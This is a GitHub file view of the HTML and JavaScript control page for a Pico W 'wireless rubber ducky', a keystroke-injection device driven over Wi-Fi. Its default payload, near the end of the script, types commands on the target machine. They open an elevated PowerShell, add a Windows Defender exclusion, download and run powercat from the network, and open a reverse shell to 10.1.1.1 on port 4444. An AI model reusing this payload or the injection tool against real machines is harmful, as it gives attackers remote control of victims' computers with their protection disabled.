-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathindex.html
349 lines (321 loc) · 10.1 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>pico w</title>
</head>
<body>
<h1>wireless rubber ducky!!</h1>
<div class="x-center">
<div class="normal-div">
<h3>send keystrokes:</h3>
<textarea type="text" id="keys-to-send" class="monospace"></textarea>
<div class="normal-div">
<h3>live textarea (any keys pressed here will be <u>immediantely</u> sent to the target):</h3>
<span>Enable live textarea <input type="checkbox" id="toggle-live"></span>
<textarea class="monospace" id="live-textarea"></textarea>
</div>
</div>
<div class="normal-div">
<h1>usage:</h1>
<ul>
<li>Type normal text by just putting the text on a line, use special keys for newlines</li>
<ul>
Example: <span class="monospace">hello world</span> types "hello world"
</ul>
<li>For special keys (SHIFT, COMMAND, etc) use the format <span class="monospace">> KEY UP/DOWN</span>. Make sure there are spaces between >, KEY, and UP/DOWN</li>
<ul>
Example: <span class="monospace">> TAB DOWN</span> presses the TAB key down.
</ul>
<ul>
Use <span class="monospace">> TAB UP</span> to release it
</ul>
<ul>
<a href="https://docs.circuitpython.org/projects/hid/en/latest/_modules/adafruit_hid/keycode.html" target="_blank">Here</a> is a full list of special keys.
</ul>
<li>There is a special SLEEP command that can be used to add delays, in milliseconds, in the format <span class="monospace">> SLEEP time-in-ms</span></li>
<ul>
Example: <span class="monospace">> SLEEP 1000</span> waits for 1000ms, or 1 second
</ul>
<li>To use the mouse, such as clicking, dragging and moving, use MOUSE commands:</li>
<li>To MOVE the mouse:</li>
<ul>
<span class="monospace">> MOUSE MOVE x y</span> moves the mouse <span class="monospace">x</span> right and <span class="monospace">y</span> down.
</ul>
<ul>
Example: <span class="monospace">> MOUSE MOVE 1000 -500</span> moves the mouse right 1000, and up 500
</ul>
<li>To CLICK the mouse:</li>
<ul>
<span class="monospace">> MOUSE CLICK mouse_button</span>
</ul>
<ul>
Example: <span class="monospace">> MOUSE CLICK 1</span> performs a left click.
</ul>
<li>To HOLD down a mouse button:</li>
<ul>
<span class="monospace">> MOUSE UP/DOWN mouse_button</span>
</ul>
<ul>
Example: <span class="monospace">> MOUSE DOWN 1</span> holds down left click.
</ul>
<ul>
Example: <span class="monospace">> MOUSE UP 1</span> releases left click.
</ul>
<li>
<span class="monospace">1</span> is left mouse button
</li>
<li>
<span class="monospace">2</span> is right mouse button
</li>
<li>
<span class="monospace">4</span> is middle mouse button
</li>
</ul>
</div>
</div>
<button onclick="submitPayload()">submit</button>
<button onclick="terminate()">terminate server</button>
<p>check the <a href="https://github.com/TheSavageTeddy/wirelessRubberDuckyPicoW" target="_blank">github</a> for more usage info</p>
<p style="font-size: 10px;">by TheSavageTeddy on <a href="https://github.com/TheSavageTeddy/wirelessRubberDuckyPicoW" target="_blank">github</a></p>
</body>
<style>
.x-center {
display: flex;
align-items: flex;
justify-content: flex-start;
}
.normal-div{
align-items: normal;
}
.monospace{
font-family: 'Courier New', Courier, monospace;
}
#keys-to-send {
width: 50vw;
height: 50vh;
}
#live-textarea{
width: 50vw;
height: 5vh;
}
</style>
<script>
javascript_to_adafruit = {
8: 0x2A, // Keycode.BACKSPACE
9: 0x2B, // Keycode.TAB
13: 0x28, // Keycode.ENTER
16: 0xE1, // Keycode.LEFT_SHIFT
17: 0xE0, // Keycode.LEFT_CONTROL
18: 0xE2, // Keycode.LEFT_ALT
20: 0x39, // Keycode.CAPS_LOCK
27: 0x29, // Keycode.ESCAPE
32: 0x2C, // Keycode.SPACEBAR
33: 0x4B, // Keycode.PAGE_UP
34: 0x4E, // Keycode.PAGE_DOWN
35: 0x4D, // Keycode.END
36: 0x4A, // Keycode.HOME
37: 0x50, // Keycode.LEFT_ARROW
38: 0x52, // Keycode.UP_ARROW
39: 0x4F, // Keycode.RIGHT_ARROW
40: 0x51, // Keycode.DOWN_ARROW
45: 0x49, // Keycode.INSERT
46: 0x4C, // Keycode.DELETE
48: 0x27, // Keycode.ZERO
49: 0x1E, // Keycode.ONE
50: 0x1F, // Keycode.TWO
51: 0x20, // Keycode.THREE
52: 0x21, // Keycode.FOUR
53: 0x22, // Keycode.FIVE
54: 0x23, // Keycode.SIX
55: 0x24, // Keycode.SEVEN
56: 0x25, // Keycode.EIGHT
57: 0x26, // Keycode.NINE
65: 0x04, // Keycode.A
66: 0x05, // Keycode.B
67: 0x06, // Keycode.C
68: 0x07, // Keycode.D
69: 0x08, // Keycode.E
70: 0x09, // Keycode.F
71: 0x0A, // Keycode.G
72: 0x0B, // Keycode.H
73: 0x0C, // Keycode.I
74: 0x0D, // Keycode.J
75: 0x0E, // Keycode.K
76: 0x0F, // Keycode.L
77: 0x10, // Keycode.M
78: 0x11, // Keycode.N
79: 0x12, // Keycode.O
80: 0x13, // Keycode.P
81: 0x14, // Keycode.Q
82: 0x15, // Keycode.R
83: 0x16, // Keycode.S
84: 0x17, // Keycode.T
85: 0x18, // Keycode.U
86: 0x19, // Keycode.V
87: 0x1A, // Keycode.W
88: 0x1B, // Keycode.X
89: 0x1C, // Keycode.Y
90: 0x1D, // Keycode.Z
91: 0xE3, // Keycode.LEFT_GUI
92: 0xE7, // Keycode.RIGHT_GUI
93: 0x65, // Keycode.APPLICATION
96: 0x62, // Keycode.NUM_ZERO
97: 0x59, // Keycode.NUM_ONE
98: 0x5A, // Keycode.NUM_TWO
99: 0x5B, // Keycode.NUM_THREE
100: 0x5C, // Keycode.NUM_FOUR
101: 0x5D, // Keycode.NUM_FIVE
102: 0x5E, // Keycode.NUM_SIX
103: 0x5F, // Keycode.NUM_SEVEN
104: 0x60, // Keycode.NUM_EIGHT
105: 0x61, // Keycode.NUM_NINE
106: 0x55, // Keycode.NUM_MULTIPLY
107: 0x57, // Keycode.NUM_PLUS
109: 0x56, // Keycode.NUM_MINUS
110: 0x63, // Keycode.NUM_PERIOD
111: 0x54, // Keycode.NUM_DIVIDE
112: 0x30, // Keycode.F1
113: 0x31, // Keycode.F2
114: 0x32, // Keycode.F3
115: 0x33, // Keycode.F4
116: 0x34, // Keycode.F5
117: 0x35, // Keycode.F6
118: 0x36, // Keycode.F7
119: 0x37, // Keycode.F8
120: 0x38, // Keycode.F9
121: 0x39, // Keycode.F10
122: 0x3A, // Keycode.F11
123: 0x3B, // Keycode.F12
144: 0x53, // Keycode.NUM_LOCK
145: 0x47, // Keycode.SCROLL_LOCK
186: 0x33, // Keycode.SEMICOLON
187: 0x2E, // Keycode.EQUAL
188: 0x36, // Keycode.COMMA
189: 0x2D, // Keycode.MINUS
190: 0x37, // Keycode.PERIOD
191: 0x38, // Keycode.SLASH
192: 0x35, // Keycode.BACKTICK
219: 0x2F, // Keycode.LEFT_BRACKET
220: 0x31, // Keycode.BACKSLASH
221: 0x30, // Keycode.RIGHT_BRACKET
222: 0x34 // Keycode.SINGLE_QUOTE
}
function ascii_to_hex(str) { // TODO: replace this with btoa (base64), takes up less bytes in request url
var arr1 = [];
for(var n = 0, l = str.length; n < l; n++) {
var hex = Number(str.charCodeAt(n)).toString(16);
arr1.push(hex);
}
return arr1.join('');
}
function terminate() {
confirm("Are you sure you want to terminate the server?") ?
fetch('/terminate', {
method: 'POST',
headers: {
'Accept': '*/*',
},
}) : null
}
function submitPayload() {
let input = document.getElementById("keys-to-send").value
let to_send = []
input = input.split("\n")
input.forEach(e => {
if(e[0] === ">") {
tmp = e.split(" ")
tmp.shift()
to_send.push(tmp)
} else {
to_send.push(e)
}
});
let data = ascii_to_hex(JSON.stringify({
"keys": to_send
}))
fetch(`/sendkeys?keys=${data}`, {
method: 'GET'
})
}
function submitKey(key, pressType){
let data = key.toString(16).padStart(2, '0');
let type = pressType === "keydown" ? "00" : "01"
fetch(`/sendsinglekey?key=${data}${type}`, { // TODO TEST THIS
method: 'GET'
})
}
function handleLiveKeypress(eventType, event){
if (document.getElementById("toggle-live").checked){
let adafruit_keycode = javascript_to_adafruit[event.keyCode]
if (eventType === "keydown"){
event.preventDefault();
submitKey(adafruit_keycode, "keydown")
liveTextarea.value += "\n" + `Key pressed: ${event.key.padEnd(10)} keyCode: ${String(event.keyCode).padEnd(10)} adafruit keycode: ${adafruit_keycode}`
liveTextarea.scrollTop = liveTextarea.scrollHeight;
}else{
event.preventDefault();
submitKey(adafruit_keycode, "keyup")
liveTextarea.value += "\n" + `Key released: ${event.key.padEnd(10)} keyCode: ${String(event.keyCode).padEnd(10)} adafruit keycode: ${adafruit_keycode}`
liveTextarea.scrollTop = liveTextarea.scrollHeight;
}
}
}
var liveTextarea
document.addEventListener("DOMContentLoaded", () => {
liveTextarea = document.getElementById("live-textarea") // TODO: do this for all things
let savedPayload = localStorage.getItem('payload')
let liveToggle = localStorage.getItem('live-textarea-on')
if (savedPayload !== null) {
// use localstorage saved payload
document.getElementById("keys-to-send").innerHTML = savedPayload
} else {
// Default text
document.getElementById("keys-to-send").innerHTML = `> GUI DOWN
> R DOWN
> R UP
> GUI UP
> SLEEP 200
powershell
> SLEEP 200
> ENTER DOWN
> ENTER UP
> SLEEP 200
powershell -c "Start-Process powershell -Verb runAs"
> SLEEP 500
> ENTER DOWN
> ENTER UP
> SLEEP 500
Set-MpPreference -ExclusionProcess "powershell.exe"
> ENTER DOWN
> ENTER UP
> SLEEP 200
IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 10.1.1.1 -p 4444 -e cmd
> ENTER DOWN
> ENTER UP
`
}
if (liveToggle !== null){
document.getElementById("toggle-live").checked = liveToggle === "true" // scuffed
}
// add event listeners
document.getElementById("keys-to-send").addEventListener("input", ()=>{
// save your payload to local storage to presist after reload
localStorage.setItem('payload', document.getElementById("keys-to-send").value);
})
document.getElementById("toggle-live").addEventListener("change", ()=>{
// save toggle live preferences
localStorage.setItem('live-textarea-on', document.getElementById("toggle-live").checked);
})
// listen to keys pressed in the live text box
liveTextarea.addEventListener('keydown', function(event) {
handleLiveKeypress("keydown", event)
});
liveTextarea.addEventListener('keyup', function(event) {
handleLiveKeypress("keyup", event)
});
})
</script>
</html>